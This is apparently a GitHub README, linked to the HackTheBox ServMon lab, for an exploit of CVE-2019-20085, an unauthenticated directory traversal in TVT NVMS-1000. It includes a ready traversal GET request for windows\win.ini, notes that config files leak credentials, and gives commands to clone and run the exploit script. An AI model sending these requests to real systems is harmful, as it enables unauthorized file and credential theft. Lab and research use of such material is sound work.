A repository used for Hackthebox ServMon Machine# 📂 CVE-2019-20085 – TVT NVMS-1000 Directory Traversal Exploit (By Z3R0)
> **Author:** Z3R0
> **CVE:** [CVE-2019-20085](https://nvd.nist.gov/vuln/detail/CVE-2019-20085)
> **Target:** TVT NVMS-1000 (all known versions prior to patch)
> **Vuln Type:** Unauthenticated Directory Traversal
> **Date:** \[Insert Your Release Date]
---
## 🔍 Vulnerability Summary
TVT's NVMS-1000 software contains a directory traversal vulnerability in its web server component. By sending a specially crafted `GET` request using `/..` sequences, an unauthenticated attacker can access **arbitrary files on the underlying OS**, including sensitive configuration files, password hashes, or system keys.
---
## ⚠️ Affected Software
* **Product:** TVT NVMS-1000
* **Versions:** All versions before vendor fix (typically <= v3.x.x)
* **Platform:** Windows
---
## 💥 Exploit Description
This exploit abuses the vulnerable file path resolution in the HTTP server running on NVMS-1000. There is **no authentication required**. A remote attacker can read any file accessible to the service user.
### 🧪 Example Malicious Request
```
GET /..%5C..%5C..%5C..%5Cwindows%5Cwin.ini HTTP/1.1
Host: <target-ip>:80
```
### 🗂️ Files You Can Dump
* Windows system files (e.g., `C:\Windows\win.ini`)
* NVMS config files (often contain base64-encoded or plaintext creds)
* User data directories
---
## 🚀 Usage
### ✅ Requirements
* Python 3.x
* `requests` module (`pip install requests`)
### ▶️ Run the Exploit
```bash
git clone https://github.com/Z3R0-0x30/CVE-2019-20085.git
cd CVE-2019-20085
python3 exploit.py http://domain.local/ ../../windows/win.ini win.ini"
```
---
## ⚠️ Disclaimer
> This exploit is released **for educational and authorized security research purposes only**.
> The author **Z3R0** is not responsible for any misuse or unauthorized access.
> Always get proper authorization before testing systems.
---
## 📚 References
- [Exploitdb](https://www.exploit-db.com/exploits/47774)
- [NVD - CVE](https://nvd.nist.gov/vuln/detail/CVE-2019-20085)
登录后查看神龙缓存的 POC 文件快照
登录查看